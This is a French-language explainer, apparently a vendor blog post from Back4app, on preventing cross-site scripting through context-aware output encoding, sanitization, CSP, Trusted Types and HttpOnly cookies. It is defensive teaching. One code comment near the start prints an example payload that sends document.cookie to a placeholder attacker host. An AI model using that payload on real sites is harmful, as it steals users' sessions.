Qu'est-ce que le Cross-Site Scripting (XSS) — et comment s'en prémunir ?

Mis à jour : septembre 2026

Le cross-site scripting est une attaque qui injecte des scripts malveillants dans des pages de confiance ; s’en prémunir, c’est encoder la sortie par contexte. Le navigateur est victime de sa propre confiance : un script qui arrive dans une page servie par une origine légitime s’exécute avec tous les pouvoirs de cette page — session, stockage, chaque action que l’utilisateur peut effectuer. Trois décennies plus tard, CWE-79 reste en tête des classements des faiblesses les plus dangereuses, parce que la cause profonde se commet un template à la fois : une entrée non fiable qui atteint la sortie sans encodage.

Points clés

QuestionRéponse
Les trois typesStocké (en base) · réfléchi (dans l’URL) · basé sur le DOM (dans le JS client)
La défense principaleEncodage de sortie adapté au contexte — au rendu, selon la destination
La règle que tout le monde inverseValidez pour la justesse ; encodez pour la sécurité — la validation seule n’y suffit pas
FrameworksÉchappement automatique par défaut — jusqu’à l’échappatoire (v-html, dangerouslySetInnerHTML)
Les filets de sécuritéCSP stricte · Trusted Types · cookies HttpOnly — de l’atténuation, pas des correctifs

Une ligne vulnérable

// Le bug — les données utilisateur rencontrent un sink HTML
commentEl.innerHTML = comment.text;
// Payload que quelqu'un finira par soumettre :
//   <img src=x onerror="fetch('https://evil.example/?c='+document.cookie)">
// Le navigateur de chaque lecteur l'exécute, avec la session du lecteur.

// Le correctif — mêmes données, contexte texte
commentEl.textContent = comment.text;   // le balisage s'affiche ; il ne s'exécute jamais

La discipline derrière ce correctif — stocker brut, afficher en sécurité — sur tout le stack :

// JavaScript / Node.js — Back4app JS SDK + browser
// Store RAW, render SAFE — encoding happens at output, not at save
const comment = new Parse.Object('Comment');
comment.set('text', userInput); // saved as-is: O'Brien, 1 < 2, all fine
await comment.save();

// Rendering: textContent treats it as text — markup never executes
commentEl.textContent = comment.get('text'); // safe by construction
// commentEl.innerHTML = comment.get('text'); // ← the XSS sink

XSS stocké vs. réfléchi vs. basé sur le DOM

Stocké (persistant)RéfléchiBasé sur le DOM
Où vit le payloadDans votre base de donnéesDans une URL piégéeDans le flux de données côté client
VictimesTous ceux qui consultent la pageQuiconque clique sur le lienQuiconque atteint cet état de la page
Le serveur le voitOui — à l’écritureOui — renvoyé à chaque requêteSouvent jamais
Vecteur classiqueCommentaires, profils, messagesÉchos de recherche, pages d’erreurlocation.hashinnerHTML
Gravité (consensus)Le plus dangereuxCiblé, dépend du lienInvisible pour les logs serveur et les WAF
Comment les trois types de XSS acheminent un payload jusqu'au navigateur de la victimeL'entrée de l'attaquant atteint le navigateur de la victime par trois chemins. Le XSS stocké est enregistré dans la base de données et servi à chaque visiteur. Le XSS réfléchi est renvoyé en écho à partir d'une requête sur une URL piégée. Le XSS basé sur le DOM passe d'une source côté client directement à un sink dangereux, sans nécessairement atteindre le serveur. Dans les trois cas, le script s'exécute avec tous les privilèges de la page.

enregistrée : commentaire, profil

servie à tous les visiteurs

URL piégée, renvoyée en écho

source client → sink
(hash → innerHTML)

Entrée de l'attaquant

Base de données

Navigateur de la victime

Réponse du serveur

JS de la page elle-même

Le script s'exécute avec la session,
le stockage et les pouvoirs de la page

L'entrée de l'attaquant atteint le navigateur de la victime par trois chemins. Le XSS stocké est enregistré dans la base de données et servi à chaque visiteur. Le XSS réfléchi est renvoyé en écho à partir d'une requête sur une URL piégée. Le XSS basé sur le DOM passe d'une source côté client directement à un sink dangereux, sans nécessairement atteindre le serveur. Dans les trois cas, le script s'exécute avec tous les privilèges de la page.

La défense principale : l’encodage de sortie adapté au contexte

La règle fondamentale, énoncée clairement puisque les sources de référence l’enterrent : la même chaîne est inoffensive à un endroit et fatale à un autre — c’est pourquoi l’encodage se fait à la sortie, selon la destination, et pourquoi la validation des entrées échoue toujours à elle seule : au moment de l’entrée, vous ne connaissez pas le contexte, les listes de blocage perdent face aux astuces d’encodage, et des données légitimes (O'Brien, 1 < 2) cassent sous une validation érigée en mesure de sécurité.

Contexte de sortieEncodageL’erreur courante
Corps HTMLEncoder en entités & < > " 'Se dire que “ce n’est que du texte”
Attribut HTMLEntités + toujours entourer l’attribut de guillemetsAttributs sans guillemets — un espace suffit à en sortir
Chaîne JavaScriptÉchappement \uXXXX, via un sérialiseurConcaténer des données utilisateur dans du JS inline
URL / hrefPercent-encoding + valider le schémaLes URL javascript: traversent sans problème l’encodage HTML
Valeur CSSListes d’autorisation strictes, valeurs de propriété uniquementBlocs de style contrôlés par l’utilisateur
JSON dans une pageSérialiser en JSON + échapper </script>Blobs d’hydratation window.__STATE__ = …

Lorsque les utilisateurs rédigent légitimement du HTML — texte enrichi, markdown — l’encodage le détruirait ; c’est l’unique rôle de la sanitization : une bibliothèque maintenue (DOMPurify) retire les constructions exécutables, et la sortie doit être utilisée telle quelle — retoucher une chaîne sanitizée annule la sanitization.

Frameworks : échappement par défaut, faille par l’échappatoire

Les frameworks modernes ont éliminé l’essentiel du XSS classique — les valeurs interpolées sont échappées automatiquement. Deux clauses en petites lignes maintiennent le bug en vie. D’abord, chaque framework fournit un contournement, et chacun est une cible de grep en code review :

FrameworkÉchappe par défautL’échappatoire
ReactInterpolation JSXdangerouslySetInnerHTML
VueTemplates {{ }}v-html
AngularInterpolation + sanitizerbypassSecurityTrustHtml et consorts
SvelteExpressions de template{@html …}
Templates serveurMode auto-escapeFiltres | safe / | raw

Ensuite, l’échappement automatique ne couvre que le contexte du corps HTML : un href lié à des données utilisateur exécute toujours les URL javascript:, et l’insertion dans un script inline exige toujours un encodage adapté au contexte JS. La réponse côté workflow : sanitizez avant toute échappatoire, validez le schéma des URL dans les liens liés à des données, et passez les échappatoires au linter (react/no-danger et consorts) pour que les exceptions restent délibérées.

Défense en profondeur : CSP, Trusted Types, HttpOnly

Les filets de sécurité, présentés honnêtement. Une politique de sécurité du contenu (Content Security Policy, CSP) stricte bloque les scripts inline injectés même lorsqu’une faille part en production :

Content-Security-Policy:
  script-src 'nonce-{random-per-response}' 'strict-dynamic';
  object-src 'none'; base-uri 'none'

Basée sur des nonces, pas sur des listes d’autorisation — les listes d’hôtes autorisés se contournent assez souvent pour que le cheat sheet de l’OWASP insiste : la CSP ne devrait pas être votre défense principale. Déployez-la d’abord en mode Report-Only. Trusted Types (require-trusted-types-for 'script') va plus loin contre le XSS basé sur le DOM : les sinks dangereux comme innerHTML refusent purement et simplement les chaînes brutes, ce qui force tout le HTML à passer par une politique unique et auditable. Enfin, les cookies HttpOnly protègent exactement une chose — les scripts injectés ne peuvent pas lire le cookie de session — ce qui compte, car des tokens stockés dans localStorage ne sont qu’à un localStorage.getItem de l’exfiltration : les recommandations de stockage des JWT et cet article sont le même argument vu des deux côtés. Aucun des trois ne corrige le bug ; tous trois réduisent ce qu’il rapporte.

La part du backend

Le XSS passe pour un problème de frontend ; une partie relève pourtant de l’API. Stockez brut, encodez à la sortie — encoder à l’écriture corrompt les données, provoque un double encodage lors des allers-retours et rate malgré tout les contextes que vous n’aviez pas prévus. Discipline du Content-Type : les réponses JSON déclarent Content-Type: application/json ainsi que X-Content-Type-Options: nosniff, car un paramètre réfléchi dans une réponse que le navigateur accepte d’interpréter comme du HTML est du XSS, avec quelques étapes de plus. Les pages d’erreur qui renvoient en écho l’URL ou les paramètres sont le sink réfléchi classique que personne ne relit en code review. Et le piège voisin qui mérite une phrase : afficher une entrée utilisateur comme un template plutôt que comme une donnée dépasse le XSS pour devenir une injection de template côté serveur (server-side template injection) — une entrée utilisateur est une donnée de template, jamais du code de template.

Cas d’usage courants

Là où ces défenses font leurs preuves :

  • Commentaires, avis, messages — le territoire du XSS stocké : encodez au rendu, partout où ils apparaissent.
  • Texte enrichi et markdown — le cas du HTML légitime : sanitizez au rendu, maintenez le sanitizer à jour.
  • Recherche, filtres, pages d’erreur — le territoire du XSS réfléchi : tout ce qui renvoie des données de la requête les encode.
  • SPA qui routent selon l’état de l’URL — le territoire du DOM : les données du fragment et de la query string n’atteignent jamais innerHTML sans sanitization.
  • WebViews mobiles — la surface XSS de l’app native : ne chargez jamais du contenu utilisateur brut comme du HTML.

Quelle défense en premier ? Matrice de décision

SituationÀ faire
Afficher du texte utilisateurInterpolation du framework / textContent — rien de plus sophistiqué
Afficher du HTML rédigé par l’utilisateurSanitizer avec DOMPurify, utiliser la sortie telle quelle
Données utilisateur dans un lienValider le schéma par liste d’autorisation (https:), puis encoder
JSON/état inline dans les pagesSérialiser en JSON avec un échappement sûr pour les scripts
Mettre en production l’un des cas ci-dessusCSP stricte à nonces en Report-Only, puis en mode bloquant
Auditer du code existantGrep sur les échappatoires et les sinks ; les passer au linter ; tester des payloads par contexte

Limites et trade-offs

  • L’encodage doit correspondre exactement au contexte. Encoder en HTML une donnée insérée dans une URL ou un bloc de script, c’est le schéma de la fausse sécurité — bonne défense, mauvais contexte, toujours exploitable.
  • Les sanitizers sont des dépendances. Les contournements sont publiés ; un sanitizer figé à une version obsolète devient discrètement une vulnérabilité avec un changelog.
  • La CSP coûte de l’ingénierie. Les nonces touchent chaque balise script et chaque handler inline ; adopter une CSP stricte sur une base de code legacy est un projet à part entière, d’où l’existence du mode Report-Only.
  • Trusted Types a des limites d’adoption. Il ne fonctionne dans tous les navigateurs récents que depuis début 2026, et les anciens l’ignorent ; traitez-le comme un durcissement par-dessus l’encodage, pas comme une garantie.
  • Les WAF ne sont pas la solution. Les filtres par correspondance de motifs attrapent les payloads connus et ratent les encodages et les mutations ; les recommandations de l’OWASP elles-mêmes les jugent peu fiables contre le XSS.

Prévention du XSS sur Back4app

Back4app est une plateforme open-source de Backend as a Service (BaaS) qui combine une base de données gérée, des API REST et GraphQL générées automatiquement, l’authentification, le stockage de fichiers et des fonctions serverless avec Cloud Code. La part du backend dans cette discipline est intégrée d’office : les données sont stockées brutes et renvoyées via des API JSON aux bons Content-Type — jamais rendues en HTML côté serveur — si bien que la responsabilité de l’encodage à la sortie revient clairement à votre couche UI, où les onglets de code ci-dessus montrent le schéma stocker-brut/afficher-en-sécurité pour chaque plateforme. Les contrôles du rayon d’impact sont déjà en place : les sessions reposent sur des tokens révocables plutôt que sur des identifiants à longue durée de vie dans localStorage, et les ACL associées aux permissions de classe bornent ce que tout script s’exécutant au nom d’un utilisateur pourrait toucher — un payload injecté hérite des permissions de la victime, pas de la base de données. Cloud Code est l’endroit idéal pour l’hygiène côté serveur qui reste : valider les champs URL contre une liste de schémas autorisés et sanitizer une seule fois les champs de texte enrichi, dans beforeSave, pour que chaque client affiche le même contenu déjà protégé.

Questions fréquentes

Qu'est-ce que le XSS, en termes simples ?

Un attaquant glisse son propre JavaScript dans une page consultée par d'autres — via un commentaire, un lien piégé, un champ de profil — et le navigateur des victimes l'exécute comme si le site lui-même l'avait écrit. Dès lors, le script peut faire tout ce que la victime peut faire : lire ses données, agir en son nom, voler sa session.

Quel est un exemple d'attaque XSS ?

Un champ de commentaire qui n'encode pas la sortie : soumettez une balise script en guise de commentaire, et elle s'exécute dans le navigateur de chaque lecteur. Les payloads de preuve de concept affichent une alerte ; les vrais envoient plutôt le cookie de session ou les tokens de la victime à l'attaquant.

Quelle est la différence entre XSS stocké, réfléchi et basé sur le DOM ?

Le chemin qu'emprunte le payload. Le XSS stocké vit dans la base de données et touche tous ceux qui consultent la page. Le XSS réfléchi voyage dans une URL piégée et touche quiconque clique dessus. Le XSS basé sur le DOM se produit entièrement dans le JavaScript côté client — les données de l'attaquant passent d'une source comme le fragment d'URL à un sink comme innerHTML, parfois sans jamais toucher le serveur.

Comment se prémunir contre le XSS ?

Dans l'ordre : un encodage de sortie adapté au contexte au moment du rendu (la défense principale), la validation des entrées comme couche d'appoint, une bibliothèque de sanitization quand les utilisateurs peuvent rédiger du vrai HTML, des headers Content-Type corrects sur les API, une Content Security Policy stricte comme filet de sécurité, et des cookies HttpOnly pour limiter ce qu'une attaque réussie peut voler.

Encodage de sortie, validation des entrées, sanitization — lequel choisir ?

Ce sont trois rôles différents. L'encodage convertit les caractères à la sortie pour que les données s'affichent comme du texte au lieu de s'exécuter — la défense principale, choisie selon le contexte. La validation rejette les entrées malformées à leur arrivée — utile pour la justesse, insuffisante pour la sécurité, car le danger dépend de l'endroit où les données atterrissent. La sanitization retire les constructions dangereuses d'un HTML que vous comptez effectivement afficher comme du HTML.

La Content Security Policy arrête-t-elle le XSS ?

Une CSP stricte, basée sur des nonces, bloque les scripts inline injectés même lorsqu'une faille existe — une véritable défense en profondeur. Mais c'est le filet, pas le correctif : les politiques à base de liste d'autorisation se contournent couramment, et les recommandations de l'OWASP sont explicites — la CSP ne doit jamais être la défense principale.

React et Vue empêchent-ils automatiquement le XSS ?

En grande partie — l'interpolation des templates échappe automatiquement les valeurs, ce qui a éliminé des classes entières de bugs. Mais chaque framework fournit des échappatoires qui réintroduisent le XSS tel quel : dangerouslySetInnerHTML dans React, v-html dans Vue, les API de contournement de la confiance dans Angular — sans oublier les URL javascript: dans les bindings href, que l'échappement automatique n'a jamais couvertes.

Quelle est la différence entre XSS et CSRF ?

La capacité. Le XSS exécute le code de l'attaquant dans le navigateur de la victime — dans les deux sens : il peut lire les réponses et faire tout ce que l'utilisateur peut faire. Le CSRF se contente de pousser le navigateur à envoyer des requêtes falsifiées — à sens unique, sans lecture, et tributaire d'une session active. Le XSS est la classe la plus grave, et une faille XSS peut neutraliser les défenses anti-CSRF.

Termes associés

À comparer avec

Lectures recommandées

Prêt à construire votre backend ?

Lancez votre projet sur Back4app en quelques minutes — base de données, authentification, API et Cloud Code inclus. Sans carte bancaire.

Écrit et révisé par Back4app Engineering, Back4app Engineering · Publié le 2026-09-15